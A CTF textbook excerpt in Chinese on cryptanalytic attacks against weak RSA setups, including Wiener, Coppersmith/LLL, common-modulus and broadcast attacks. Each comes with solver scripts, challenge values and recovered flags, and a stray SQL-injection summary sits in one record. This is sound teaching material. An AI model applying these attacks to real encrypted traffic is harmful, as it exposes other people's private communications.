    {"text": "未知 21.2.5 其他模数分解方式 当上面的几种方法都无法分解模数时，可以尝试使用一些网站来进行分解，如 http://factordb.com/index.php 。 有的时候，题目中也会提供一些其他信息来辅助选手分解n。下面来看一道真题，来自于MMA CTF 2016： n=19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935184448638997877593781930103866416949585686541509642494048554242004100863315220430074997145531929128200885758274037875349539018669336263469803277281048657198114844413236754680549874472753528866434686048799833381542018876362229842605213500869709361657000044182573308825550237999139442040422107931857506897810951 npp=19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935757418867172314593546678104100129027339256068940987412816779744339994971665109555680401467324487397541852486805770300895063315083965445098467966738905392320963293379345531703349669197397492241574949069875012089172754014231783160960425531160246267389657034543342990940680603153790486530477470655757947009682859 e=65537 c=7991219189591014572196623817385737879027208108469800802629706564258508626010674513875496029177290575819650366802730803283761137036255380767766538866086463895539973594615882321974738140931689333873106124459849322556754579010062541988138211176574621668101228531769828358289973150393343109948611583609219420213530834364837438730411379305046156670015024547263019932288989808228091601206948741304222197779808592738075111024678982273856922586615415238555211148847427589678238745186253649783665607928382002868111278077054871294837923189536714235044041993541158402943372188779797996711792610439969105993917373651847337638929 题目中在提供了(n,e,c)的同时，还提供了npp的值，npp的值为(p+2)*(q+2)。构造一个方程：x 2 -(p+q)x+p*q=0。此方程中(p+q)的值和pq的值都可以通过npp和n转化得到，而此方程的两个根即为p和q的值。 此题的c经过了n和npp两次加密，攻击代码如下： n=19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935184448638997877593781930103866416949585686541509642494048554242004100863315220430074997145531929128200885758274037875349539018669336263469803277281048657198114844413236754680549874472753528866434686048799833381542018876362229842605213500869709361657000044182573308825550237999139442040422107931857506897810951 npp=19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935757418867172314593546678104100129027339256068940987412816779744339994971665109555680401467324487397541852486805770300895063315083965445098467966738905392320963293379345531703349669197397492241574949069875012089172754014231783160960425531160246267389657034543342990940680603153790486530477470655757947009682859 e=65537 pq=n paq=(npp-n-4)/2 import gmpy2 gn1=gmpy2.mpz(n) gn2=gmpy2.mpz(npp) a=gmpy2.mpz(1) b=gmpy2.mpz(-paq) c=gmpy2.mpz(n) i=gmpy2.mpz(gmpy2.iroot(b*b-4*a*c,2)[0]) x1=(-b-i)/2 x2=(-b+i)/2 print x1*x2-n p1=x1 q1=x2 p2=x1+2 q2=x2+2 print p1 print p2 print q1 print q2 from Crypto.Util.number import long_to_bytes,bytes_to_long,getPrime,isPrime import primefac def modinv(a,n): return primefac.modinv(a,n) % n c=7991219189591014572196623817385737879027208108469800802629706564258508626010674513875496029177290575819650366802730803283761137036255380767766538866086463895539973594615882321974738140931689333873106124459849322556754579010062541988138211176574621668101228531769828358289973150393343109948611583609219420213530834364837438730411379305046156670015024547263019932288989808228091601206948741304222197779808592738075111024678982273856922586615415238555211148847427589678238745186253649783665607928382002868111278077054871294837923189536714235044041993541158402943372188779797996711792610439969105993917373651847337638929 d2=modinv(65537,(p2-1)*(q2-1)) m2=pow(c,d2,npp) d1=modinv(65537,(p1-1)*(q1-1)) m1=pow(m2,d1,n) print long_to_bytes(m1) 结果如图21-10所示。 图21-10 代码运行结果 未知 21.2.6 小指数明文爆破 Alice拿到Bob传给她的公钥(n,e)，如果Bob使用的e太小了，比如e=3，且Alice要传给Bob的明文也很小，比如就几个字节，那么，Alice在进行加密的过程中使用的公式c=m e mod n中，e=3，m很小，而n很大，所以有可能会发生这样一种情况，即： m e <n 那么此时： c=m 3 直接对c开三次根号即可得到m。当然这是一种极端的情况。如果m 3 >n但是并没有超过n太多，即： k*n<m 3 <(k+1)*n 且k是可以爆破的大小时，则可以通过关系式k*n-c=m 3 来爆破明文，代码如下： n=47966708183289639962501363163761864399454241691014467172805658518368423135168025285144721028476297179341434450931955275325060173656301959484440112740411109153032840150659 e=3 c=10968126341413081941567552025256642365567988931403833266852196599058668508079150528128483441934584299102782386592369069626088211004467782012298322278772376088171342152839 下面，我们通过爆破k来解答此题： from Crypto.Util.number import long_to_bytes,bytes_to_long,getPrime,isPrime import primefac def modinv(a,n): return primefac.modinv(a,n) % n n=47966708183289639962501363163761864399454241691014467172805658518368423135168025285144721028476297179341434450931955275325060173656301959484440112740411109153032840150659 e=3 c=10968126341413081941567552025256642365567988931403833266852196599058668508079150528128483441934584299102782386592369069626088211004467782012298322278772376088171342152839 import gmpy2 i=0 while 1: if(gmpy2.iroot(c+i*n, 3)[1]==1): print long_to_bytes(gmpy2.iroot(c+i*n, 3)[0]) break i=i+1 结果输出如下： flag{let_me_do_sth_good} 未知 21.2.7 选择密文攻击 如果可以对任意密文解密，但不能对C解密，那么可以使用选择密文攻击。首先求出C在N上的逆元C -1 ，然后求C -1 的明文M'。M'即为明文的逆元，再次求逆即可。 如果存在交互可以对任意密文进行解密，并获取1bit的话，则可以实现RSA parity oracle攻击，此时可以通过例题中的railgun进行学习。"},
    {"text": "未知 21.2.8 LLL-attack 如果Bob使用的e是3，同时Alice习惯性地在密文前面附上了一句众所周知的问候语，也就是说明，密文的一部分已经泄露，或者Bob不小心泄露了生成的p或者q的一部分，又或者Bob泄露了明文的部分bit。那么在泄露的信息长度足够的时候，可以通过Coppersmith method的方法求得明文。 假设已知条件如下： n=6605504825889906202615748618066615187648800018528841933516316527012434141085944518043517968365397208826746013914157780887914632131531725863903538584417200527430582588764927544641557369303652648618292067488950921453386626677080964591489000067415450844331150724748818976858613279276478837816955089131430026237158610099210296694041096318330028075396562522499372070896421812111982381954403594724817813599972527870269930328689605408419124792951097063104670279395547265345199330843872092262422909324703892472836919443820718316384657112213693649570846294917435669334446894791207245948586388312000876428472397897528075326181 e=3 base=0x9876543210fedcba00000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 m=base+x c=509143472960679964712061323134017269675726146763840337342493411055818623664115844443674190631269444040761374004286322788918255893217259171816916764385142572139730607623044481570957838700886892396989322684261802615250176830520657672566986118693899055342488599895558649859959818014882032199503639959456476815874298279286366688505291464700166422158955162203921387290954912301297909167283802751188777341587497155942072022517346786613010384892896362040794853435381349 如所知条件，除了常规的Cat知道的(n,e,c)之外，我们还知道m的一部分，为base，此时，我们可使用LLLattack进行攻击。 目前，GitHub上提供了进行LLLattack的sage代码，链接地址为 https://github.com/mimoo/RSA-and-LLL-attacks 。 我们可以使用sage-online进行解决，首先登录sagemath的在线版，链接地址为 http://www.sagemath.org 。 选择sagemath online并注册账号，然后选择create new project，如图21-11所示。 图21-11 sagemath online上新建一个项目 新建一个sagews，如图21-12所示。 图21-12 sagemath online使用方法示意图 修改GitHub中LLLattack的源代码，并执行，代码如下： …… length_N = 1024 # size of the modulus Kbits = 120 # size of the root e = 3 N=6605504825889906202615748618066615187648800018528841933516316527012434141085944518043517968365397208826746013914157780887914632131531725863903538584417200527430582588764927544641557369303652648618292067488950921453386626677080964591489000067415450844331150724748818976858613279276478837816955089131430026237158610099210296694041096318330028075396562522499372070896421812111982381954403594724817813599972527870269930328689605408419124792951097063104670279395547265345199330843872092262422909324703892472836919443820718316384657112213693649570846294917435669334446894791207245948586388312000876428472397897528075326181 ZmodN = Zmod(N); C=509143472960679964712061323134017269675726146763840337342493411055818623664115844443674190631269444040761374004286322788918255893217259171816916764385142572139730607623044481570957838700886892396989322684261802615250176830520657672566986118693899055342488599895558649859959818014882032199503639959456476815874298279286366688505291464700166422158955162203921387290954912301297909167283802751188777341587497155942072022517346786613010384892896362040794853435381349 # Problem to equation (default) P.<x> = PolynomialRing(ZmodN) #, implementation='NTL') base=0x9876543210fedcba00000000000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000000000 pol = (2^length_N - 2^Kbits + x)^e - C print 2^length_N print 2^Kbits print x pol = (base - 2^Kbits + x)^e - C dd = pol.degree() # Tweak those beta = 1 # b = N epsilon = beta / 7 # <= beta / 7 mm = ceil(beta**2 / (dd * epsilon)) # optimized value tt = floor(dd * mm * ((1/beta) - 1)) # optimized value XX = ceil(N**((beta**2/dd) - epsilon)) # optimized value # Coppersmith start_time = time.time() roots = coppersmith_howgrave_univariate(pol, N, beta, mm, tt, XX) # output print \"\\n# Solutions\" #print \"we want to find:\",str(K) print \"we found:\", str(roots) print(\"in: %s seconds \" % (time.time() - start_time)) print \"\\n\" 如图21-13所示，可以得到m的值，接下来使用num2str进行数字的转化，代码如下： m=1861040492750592458109753184254913405 print long_to_bytes(m) 结果输出如下： flag{lllattack} 至此LLL-attack攻击完毕。 以上方法同样适用于p泄露三分之二的情况。给出的代码在泄露的字节略小于三分之二时也是可以接受的，在条件合适的情况下，1024bit的p只泄露了576bit的情况下也可成功破解，链接地址为 http://inaz2.hatenablog.com/entries/2016/01/20 。 图21-13 sagemath online使用示意图 n=93349377334484560756031142086790901335276559064580432824735004567988751415648830617936580383688095318734763846475747947760683566685845262473176411867953623819286408799114072960907863151883942416320744202085286877444696431121201568289444082938109420468770253453515929889828385480770293599077948553598433641577 pbits = 512 kbits = 128 pbar=26009596637502938643363140767474023201128602860272416766866642115593768934857799915513538773094516413541887435644845 pbar=pbar<<128 print \"upper %d bits (of %d bits) is given\" % (pbits-kbits, pbits) PR.<x> = PolynomialRing(Zmod(n)) f = x + pbar x0 = f.small_roots(X=2^kbits, beta=0.4)[0] # find root < 2^kbits with factor >= n^0.3 print x0 + pbar 当只知道部分明文的时候，也可以使用LLLattack，代码如下： import time def matrix_overview(BB, bound): …… def coppersmith_howgrave_univariate(pol, modulus, beta, mm, tt, XX): …… length_N = 1024 # size of the modulus Kbits = 72 # size of the root e = 3 # RSA gen (for the demo) N=0xccb42e1da27b1c1c1047a7377ea3bfe9bd85b50b753f58b2e5fe28144dd281ee9940ffc752b9fccde6bff54f90a67de0856239f6dd69f4467bf712551c9ce974f4c3d5fc05ecbbe1ae3a8197b96ee6fb094fb6a50f946fd19dc56c9f108718890c922095b27d43eb435e59e901814fdd751269c900704684eb0c2fd74676c7a7 C=0xa4957e1adc6d775f61fb07d62e07e078f7ae2d91686bb4b65151d34ce0a1e28373ea3e6bbe3462f905c5fd71db7fd5aa46d38cd5c25e129ca180f3d37194588660eace46bc3187b6c0e687119dff24d9a3aed959b832403d568ec1195107a71cb4f7088c064755e7d40ce431c11456207d777d2ba3e8c3af72a84957ce959810 partial_m=0xa6717a7ee57e329b717a29f2a9fc503641bf481d5c24198fe2f9c15dc3ddee11a184c46b0065b54fa332aebfed130d7d44da249ec51d27000000000000000000 # Problem to equation (default) ZmodN = Zmod(N); P.<x> = PolynomialRing(ZmodN) #, implementation='NTL') pol = (partial_m - 2^Kbits + x)^e - C dd = pol.degree() # Tweak those beta = 1 # b = N epsilon = beta / 7 # <= beta / 7 mm = ceil(beta**2 / (dd * epsilon)) # optimized value tt = floor(dd * mm * ((1/beta) - 1)) # optimized value XX = ceil(N**((beta**2/dd) - epsilon)) # optimized value # Coppersmith roots = coppersmith_howgrave_univariate(pol, N, beta, mm, tt, XX) # output print \"we found:\", str(roots) 未知 2.11 小结 SQL注入单独作为比赛中的考点就已经较为复杂了，出题人可能还会配合其他的漏洞考察一些“脑洞大开”的获取flag的方式，那就更复杂了。 而且在实战过程中，如果单一的过滤手段不能达到目的时，则应该考虑使用多种绕过手段的组合来实现绕过的目的。若考察点不是为了得到数据库中的数据，则还应该考虑是否要读写文件。 SQL注入的知识暂时就先讲解这么多，在了解SQL注入的原理、成因、绕过方法之后，将没有什么题目能难倒你了。"},
    {"text": "未知 21.2.9 Wiener Attack&Boneh Durfee Attack 上面两节中列举的示例都是因为Bob选择的e太小造成了可被攻击的问题。如果Bob选择的e很大，但产生的d太小，也会被成功攻击。这就是RSA Wiener Attack（维纳攻击）。 在CTF竞赛中，识别出RSA Wiener Attack很简单，一般来说，如果e很大，远远超过65537，那么基本就可以确定是Wiener Attack了。Wiener Attack在GitHub上也有成功攻击的脚本，参考地址为 https://github.com/pablocelayes/rsa-wiener-attack 。 首先，我们观察一道题目： n=13135748152922068851807562259991833526175730777484124023612993851829955443156593171810566108770514215820542984343663846287282386582824043046503748787889589613007129391469246232735543477149929538968188602282461287596233699800185109030346300685879023327539247264141675982725321923319965267452566983753865159969071487636488204871579930383673347045053870063722175608993080162716415486448027532424383724695071801571322005261106334877334047211659397929333555608837107626755393427056320625857002257080722498437768960750360112169740061492146894798308307571752422769821088492368556922971780160003588288119154938395902573141227 c=2484709721197628568638797402073216500708160464312296481998154858152984191027965025447989735734511441378560655450049827280421394684794686868637129792025922467050637633861712489439050924034250791362044295391037523401336182117452300215045245450296408968446161318116489796932195251728012370464275380708222965034038535444718036607417409791819713679701286765333564430457444950590872952872847451701520252433653744766600366204445415719316381678856907782811329370712566969122411760039675147452944459447458029499649366966091750148097800564333924237813299417594128610382764223185901473523134684572326437208151512306054708160038 e=12472643612658556362688127761946639081739344859218714559709965256052431749454548817304848413467042472979918287245463205407261868802360251297270401156355632353781495808009882081279433630964865363142433940032882642884450512435389188371663310332918875493370370678126485453550431880160141317463203769606991758739033821056257388276263873215055545829450351157247182688694880384130007649807631727142268128439032681266998342978959845080161998058458873402929597438304194185927609154133353292494116640984586259361644245928207767098232359227782789358653930183953329941354597878943049060831604918661559869393575572607525778785647 可以看到本题的e很大，这里尝试采用Wiener Attack进行攻击，首先从GitHub上复制下源码，然后对RSAwienerHacker.py进行修改，代码如下： ''' Created on Dec 14, 2011 @author: pablocelayes ''' import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator def hack_RSA(e, n): ''' Finds d knowing (e,n) applying the Wiener continued fraction attack ''' frac = ContinuedFractions.rational_to_contfrac(e, n) convergents = ContinuedFractions.convergents_from_contfrac(frac) for (k, d) in convergents: # check if d is actually the key if k != 0 and (e * d - 1) % k == 0: phi = (e * d - 1) // k s = n - phi + 1 # check if the equation x^2 - s*x + n = 0 # has integer roots discr = s * s - 4 * n if (discr >= 0): t = Arithmetic.is_perfect_square(discr) if t != -1 and (s + t) % 2 == 0: print(\"Hacked!\") return d # TEST functions def test_hack_RSA(): print(\"Testing Wiener Attack\") times = 5 while (times > 0): e, n, d = RSAvulnerableKeyGenerator.generateKeys(1024) print(\"(e,n) is (\", e, \", \", n, \")\") print(\"d = \", d) hacked_d = hack_RSA(e, n) if d == hacked_d: print(\"Hack WORKED!\") else: print(\"Hack FAILED\") print(\"d = \", d, \", hacked_d = \", hacked_d) print(\"-------------------------\") times -= 1 if __name__ == \"__main__\": # test_is_perfect_square() # print(?------------------------? test_hack_RSA() 其中，hack_RSA(e,n)函数即为进行攻击的函数，这里我们修改此文件如下（为了避免报错，我们在此文件的头部插入一句sys指令，用于增加回溯的空间）： ''' Created on Dec 14, 2011 @author: pablocelayes ''' import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator import sys sys.setrecursionlimit(10000000) def hack_RSA(e, n): ''' Finds d knowing (e,n) applying the Wiener continued fraction attack ''' frac = ContinuedFractions.rational_to_contfrac(e, n) convergents = ContinuedFractions.convergents_from_contfrac(frac) for (k, d) in convergents: # check if d is actually the key if k != 0 and (e * d - 1) % k == 0: phi = (e * d - 1) // k s = n - phi + 1 # check if the equation x^2 - s*x + n = 0 # has integer roots discr = s * s - 4 * n if (discr >= 0): t = Arithmetic.is_perfect_square(discr) if t != -1 and (s + t) % 2 == 0: print(\"Hacked!\") return d if __name__ == \"__main__\": n = 13135748152922068851807562259991833526175730777484124023612993851829955443156593171810566108770514215820542984343663846287282386582824043046503748787889589613007129391469246232735543477149929538968188602282461287596233699800185109030346300685879023327539247264141675982725321923319965267452566983753865159969071487636488204871579930383673347045053870063722175608993080162716415486448027532424383724695071801571322005261106334877334047211659397929333555608837107626755393427056320625857002257080722498437768960750360112169740061492146894798308307571752422769821088492368556922971780160003588288119154938395902573141227 e = 12472643612658556362688127761946639081739344859218714559709965256052431749454548817304848413467042472979918287245463205407261868802360251297270401156355632353781495808009882081279433630964865363142433940032882642884450512435389188371663310332918875493370370678126485453550431880160141317463203769606991758739033821056257388276263873215055545829450351157247182688694880384130007649807631727142268128439032681266998342978959845080161998058458873402929597438304194185927609154133353292494116640984586259361644245928207767098232359227782789358653930183953329941354597878943049060831604918661559869393575572607525778785647 print hack_RSA(e, n) 输出结果如下： Hacked! 2355246239 算出来的结果是d，然后进行解密并转化： n=13135748152922068851807562259991833526175730777484124023612993851829955443156593171810566108770514215820542984343663846287282386582824043046503748787889589613007129391469246232735543477149929538968188602282461287596233699800185109030346300685879023327539247264141675982725321923319965267452566983753865159969071487636488204871579930383673347045053870063722175608993080162716415486448027532424383724695071801571322005261106334877334047211659397929333555608837107626755393427056320625857002257080722498437768960750360112169740061492146894798308307571752422769821088492368556922971780160003588288119154938395902573141227 c=2484709721197628568638797402073216500708160464312296481998154858152984191027965025447989735734511441378560655450049827280421394684794686868637129792025922467050637633861712489439050924034250791362044295391037523401336182117452300215045245450296408968446161318116489796932195251728012370464275380708222965034038535444718036607417409791819713679701286765333564430457444950590872952872847451701520252433653744766600366204445415719316381678856907782811329370712566969122411760039675147452944459447458029499649366966091750148097800564333924237813299417594128610382764223185901473523134684572326437208151512306054708160038 d=2355246239 m=pow(c,d,n) def num2str(num): tmp=hex(num)[2:].replace(\"L\",\"\") if len(tmp) % 2 == 0: return tmp.decode(\"hex\") else: return (\"0\"+tmp).decode(\"hex\") print num2str(m) 结果输出如下： flag{wiener_attack} 如果d没有足够小，那么其bit数量略大时，Wiener Attack将不会起作用。这时，我们可以尝试Boneh Durfee attack进行攻击。具体代码参见Git的相关内容。"},
    {"text": "未知 21.2.10 共模攻击 Bob为了省事，在两次通信的过程中使用了相同的n，而Alice是对相同的m加密，在这种情况下，Cat可以不计算d而直接计算出m的值。 想要使用共模攻击的前提是有两组及以上的RSA加密过程，而且其中两次的m和n都是相同的，那么Cat可以通过计算直接计算出m。 下面使用一个案例进行讲解，样例数据如下： n1=21660190931013270559487983141966347279666044468572000325628282578595119101840917794617733535995976710097702806131277006786522442555607842485975616689297559583352413160087163656851019769465637856967511819803473940154712516380580146620018921406354668604523723340895843009899397618067679200188650754096242296166060735958270930743173912010852467114047301529983496669250671342730804149428700280401481421735184899965468191802844285699985370238528163505674350380528600143880619512293622576854525700785474101747293316814980311297382429844950643977825771268757304088259531258222093667847468898823367251824316888563269155865061 e1=65537 c1=11623242520063564721509699039034210329314238234068836130756457335142671659158578379060500554276831657322012285562047706736377103534543565179660863796496071187533860896148153856845638989384429658963134915230898572173720454271369543435708994457280819363318783413033774014447450648051500214508699056865320506104733203716242071136228269326451412159760818676814129428252523248822316633339393821052614033884661649376604245744651142959498917235138077366818109892738298251161767344501687113868331134288984466294415889635863660753717476594011236542159800099371872396181448655448842148998667568104710807411358117939831241620315 n2=21660190931013270559487983141966347279666044468572000325628282578595119101840917794617733535995976710097702806131277006786522442555607842485975616689297559583352413160087163656851019769465637856967511819803473940154712516380580146620018921406354668604523723340895843009899397618067679200188650754096242296166060735958270930743173912010852467114047301529983496669250671342730804149428700280401481421735184899965468191802844285699985370238528163505674350380528600143880619512293622576854525700785474101747293316814980311297382429844950643977825771268757304088259531258222093667847468898823367251824316888563269155865061 e2=70001 c2=8180690717251057689732022736872836938270075717486355807317876695012318283159440935866297644561407238807004565510263413544530421072353735781284166685919420305808123063907272925594909852212249704923889776430284878600408776341129645414000647100303326242514023325498519509077311907161849407990649396330146146728447312754091670139159346316264091798623764434932753276554781692238428057951593104821823029665203821775755835076337570281155689527215367647821372680421305939449511621244288104229290161484649056505784641486376741409443450331991557221540050574024894427139331416236263783977068315294198184169154352536388685040531 如所给条件，两次rsa的通信过程中给出的n都是相同的，那么我们可以假设两次加密的明文是相同的，并利用共模攻击进行攻击，代码如下： from Crypto.Util.number import long_to_bytes,bytes_to_long,getPrime,isPrime import primefac def same_n_sttack(n,e1,e2,c1,c2): def egcd(a, b): x, lastX = 0, 1 y, lastY = 1, 0 while (b != 0): q = a // b a, b = b, a % b x, lastX = lastX - q * x, x y, lastY = lastY - q * y, y return (lastX, lastY) s = egcd(e1, e2) s1 = s[0] s2 = s[1] if s1<0: s1 = - s1 c1 = primefac.modinv(c1, n) if c1<0: c1+=n elif s2<0: s2 = - s2 c2 = primefac.modinv(c2, n) if c2<0: c2+=n m=(pow(c1,s1,n)*pow(c2,s2,n)) % n return m n1=21660190931013270559487983141966347279666044468572000325628282578595119101840917794617733535995976710097702806131277006786522442555607842485975616689297559583352413160087163656851019769465637856967511819803473940154712516380580146620018921406354668604523723340895843009899397618067679200188650754096242296166060735958270930743173912010852467114047301529983496669250671342730804149428700280401481421735184899965468191802844285699985370238528163505674350380528600143880619512293622576854525700785474101747293316814980311297382429844950643977825771268757304088259531258222093667847468898823367251824316888563269155865061 e1=65537 c1=11623242520063564721509699039034210329314238234068836130756457335142671659158578379060500554276831657322012285562047706736377103534543565179660863796496071187533860896148153856845638989384429658963134915230898572173720454271369543435708994457280819363318783413033774014447450648051500214508699056865320506104733203716242071136228269326451412159760818676814129428252523248822316633339393821052614033884661649376604245744651142959498917235138077366818109892738298251161767344501687113868331134288984466294415889635863660753717476594011236542159800099371872396181448655448842148998667568104710807411358117939831241620315 n2=21660190931013270559487983141966347279666044468572000325628282578595119101840917794617733535995976710097702806131277006786522442555607842485975616689297559583352413160087163656851019769465637856967511819803473940154712516380580146620018921406354668604523723340895843009899397618067679200188650754096242296166060735958270930743173912010852467114047301529983496669250671342730804149428700280401481421735184899965468191802844285699985370238528163505674350380528600143880619512293622576854525700785474101747293316814980311297382429844950643977825771268757304088259531258222093667847468898823367251824316888563269155865061 e2=70001 c2=8180690717251057689732022736872836938270075717486355807317876695012318283159440935866297644561407238807004565510263413544530421072353735781284166685919420305808123063907272925594909852212249704923889776430284878600408776341129645414000647100303326242514023325498519509077311907161849407990649396330146146728447312754091670139159346316264091798623764434932753276554781692238428057951593104821823029665203821775755835076337570281155689527215367647821372680421305939449511621244288104229290161484649056505784641486376741409443450331991557221540050574024894427139331416236263783977068315294198184169154352536388685040531 print long_to_bytes(same_n_sttack(n1,e1,e2,c1,c2)) 结果输出如下： flag{gongmogongji} 未知 21.2.11 广播攻击 Bob不仅仅多次选择的加密指数较低（这里可以取3也可以取其他较小的素数），而且这几次加密过程，加密的信息都是相同的，那么有如下算式： c 1 ≡m e modn 1 c 2 ≡m e modn 2 c 3 ≡m e modn 3 那么通过中国剩余定理，可以计算出一个数c x 为： c x ≡m 3 modn 1 n 2 n 3 然后通过对c x 开三次方即可得到m。如果是其他素数作为加密指数，比如19，就需要19次通信过程然后开19次方。 下面通过一个例子来进行讲述，示例数据如下： n1=3184273000603708051896374137923057198211094334842809424557962637794782294801864792420893981755335234175142208934607215450839499631632458122838975649379772518852683463113247078803930872516973728738441477403263782150655688059864351001382601317415565787754938842833471427987313456225237136522569229199767714029113186946128721192639026803724478281061905375839801790561887634449609831256952724334929701867762108269704279672633736501207795045621445495684841694147281740978497396349681590938795053712843157558911448741672887265329408905522288945271247306062164169083799080581576844026544196507061780947576680321314108392647 e1=3 c1=1865207266799996243228817304785105186128313762026459662106438140987810119638576035455810918192610162974644804325700727033397631237565568309250447997692957047117948414605262707210503694076217753671199536395804376735980939475943306552210578935155360834667472016665676094531937175375189119576834726559914368446599747335583484488400218726081559377872231484682832323487891260169871842137971634220678913614199693895028277295936272132967943949212045133910468330075523225546555284462267175192647725355824897112645323595082325014848213949996106219123466528151645552827456831521727714312875817605387842910776003281468632177134 n2=5947242496412590165886022830117979031270849438565414718945540769656801659060145414012439040675436355554730985758732378038388730643183490705333543982433697770161034284340019436698252581207947899331724870247713348112513551744856203618474445966867979101613482134937251288025326239040546312157563226597808206728974063266847623663376197620795712476379614206184866600891814266441420096950858632266041468432728039098235219202429667813023866281876260313319408789799168671371967931911067693233943058351630136956131977019545880612393331500862363561705686291751808121307659369950091831457743559304935521177616970170121899847499 e2=3 c2=5329839376003386424531390530291755253783136537372306970258380778841411938968277820730736914044469924457037948618895817081183967847747849864612418345235974595324704489015633061981019979529325160156304788684511539016419138205029103288532049627836528718735354249479611169423184818835225060964820758060879400538668119624133333610160075028319073912202797807572706643548716922456176911646487273693616082924469901327385014547016959814916531765625265956350393314015819147117668292817998166701212842593565668481237562334160409111280245721133821729698831956884879852048076463825139448367617549344936160289592539599562603182308 n3=1619477568975952701259057615681948469998598727467548920567987371583808541608865794715674249299251982223554463245267913319011439540372690719318616625432515649945415072879857399935962243093033020212726392446482688722523597117616715421450234027457487384685541370636909037532024494764235715359165776748613722244237454618534625777019222793493467304333894049695939845924618377175428182083061659479862995561534893358459425241809160308555104350834921888371703396141707886926364364568511870728602018394122222536081801604623257186337824087463875063459411092787941122075073888812296045329605966948887174839303850054066549742331 e3=3 c3=56537261971453461628378794041129292234708934241500623599492236054809993089458119558859048280887450688383162997431051833341166123967621065567645821142714578598634926086505265631519468437627610732981529419608470499569773474149861616309893753444615252761070299110608388653964994342395869950839385196794419980540285703423073352381718752590813640713624989959818173320902028724671829912267909600281104679202709735798484743339777607531820611774508541070974653249746559131361804224877198967927897074633208445500712006065089400145934143164857831974809927265562676588011008120329753404441512900600390241426493424854902736641 三次都使用3作为加密指数，我们假设三次加密的明文是相同的，下面利用广播攻击进行攻击，代码如下： import gmpy2 from Crypto.Util.number import long_to_bytes,bytes_to_long,getPrime,isPrime import primefac def broadcast_attack(data): def extended_gcd(a, b): x,y = 0, 1 lastx, lasty = 1, 0 while b: a, (q, b) = b, divmod(a,b) x, lastx = lastx-q*x, x y, lasty = lasty-q*y, y return (lastx, lasty, a) def chinese_remainder_theorem(items): N = 1 for a, n in items: N *= n result = 0 for a, n in items: m = N/n r, s, d = extended_gcd(n, m) if d != 1: N=N/n continue result += a*s*m return result % N, N x, n = chinese_remainder_theorem(data) m = gmpy2.iroot(x, 3)[0] return m n1=3184273000603708051896374137923057198211094334842809424557962637794782294801864792420893981755335234175142208934607215450839499631632458122838975649379772518852683463113247078803930872516973728738441477403263782150655688059864351001382601317415565787754938842833471427987313456225237136522569229199767714029113186946128721192639026803724478281061905375839801790561887634449609831256952724334929701867762108269704279672633736501207795045621445495684841694147281740978497396349681590938795053712843157558911448741672887265329408905522288945271247306062164169083799080581576844026544196507061780947576680321314108392647 e1=3 c1=1865207266799996243228817304785105186128313762026459662106438140987810119638576035455810918192610162974644804325700727033397631237565568309250447997692957047117948414605262707210503694076217753671199536395804376735980939475943306552210578935155360834667472016665676094531937175375189119576834726559914368446599747335583484488400218726081559377872231484682832323487891260169871842137971634220678913614199693895028277295936272132967943949212045133910468330075523225546555284462267175192647725355824897112645323595082325014848213949996106219123466528151645552827456831521727714312875817605387842910776003281468632177134 n2=5947242496412590165886022830117979031270849438565414718945540769656801659060145414012439040675436355554730985758732378038388730643183490705333543982433697770161034284340019436698252581207947899331724870247713348112513551744856203618474445966867979101613482134937251288025326239040546312157563226597808206728974063266847623663376197620795712476379614206184866600891814266441420096950858632266041468432728039098235219202429667813023866281876260313319408789799168671371967931911067693233943058351630136956131977019545880612393331500862363561705686291751808121307659369950091831457743559304935521177616970170121899847499 e2=3 c2=5329839376003386424531390530291755253783136537372306970258380778841411938968277820730736914044469924457037948618895817081183967847747849864612418345235974595324704489015633061981019979529325160156304788684511539016419138205029103288532049627836528718735354249479611169423184818835225060964820758060879400538668119624133333610160075028319073912202797807572706643548716922456176911646487273693616082924469901327385014547016959814916531765625265956350393314015819147117668292817998166701212842593565668481237562334160409111280245721133821729698831956884879852048076463825139448367617549344936160289592539599562603182308 n3=1619477568975952701259057615681948469998598727467548920567987371583808541608865794715674249299251982223554463245267913319011439540372690719318616625432515649945415072879857399935962243093033020212726392446482688722523597117616715421450234027457487384685541370636909037532024494764235715359165776748613722244237454618534625777019222793493467304333894049695939845924618377175428182083061659479862995561534893358459425241809160308555104350834921888371703396141707886926364364568511870728602018394122222536081801604623257186337824087463875063459411092787941122075073888812296045329605966948887174839303850054066549742331 e3=3 c3=56537261971453461628378794041129292234708934241500623599492236054809993089458119558859048280887450688383162997431051833341166123967621065567645821142714578598634926086505265631519468437627610732981529419608470499569773474149861616309893753444615252761070299110608388653964994342395869950839385196794419980540285703423073352381718752590813640713624989959818173320902028724671829912267909600281104679202709735798484743339777607531820611774508541070974653249746559131361804224877198967927897074633208445500712006065089400145934143164857831974809927265562676588011008120329753404441512900600390241426493424854902736641 data = [(c1, n1), (c2, n2), (c3, n3)] print long_to_bytes(broadcast_attack(data)) 结果如下： because it's too short,i need to pad sth...or you can brute it by 6.5.6...ahahahahahahahahahahahahahahahahahahhahahaha...flag{broadcast_attack} 至此攻击完毕。 未知 21.2.12 相关消息攻击 当Alice使用同一公钥对两个具有某种线性关系的消息M 1 和M 2 进行加密，并将加密后的消息C 1 、C 2 发送给Bob时，我们就可以获得对应的消息M 1 与M 2 。这里，我们假设模数为N，两者之间的线性关系为M 1 =a*M 2 +b，那么当e=3时，可以得到： Python代码如下： def relate_message_attack(a, b, c1, c2, n): b3 = gmpy2.powmod(b, 3, n) part1 = b * (c1 + 2 * c2 - b3) % n part2 = a * (c1 - c2 + 2 * b3) % n part2 = gmpy2.invert(part2, n) return part1 * part2 % n 未知 21.2.13 DSA 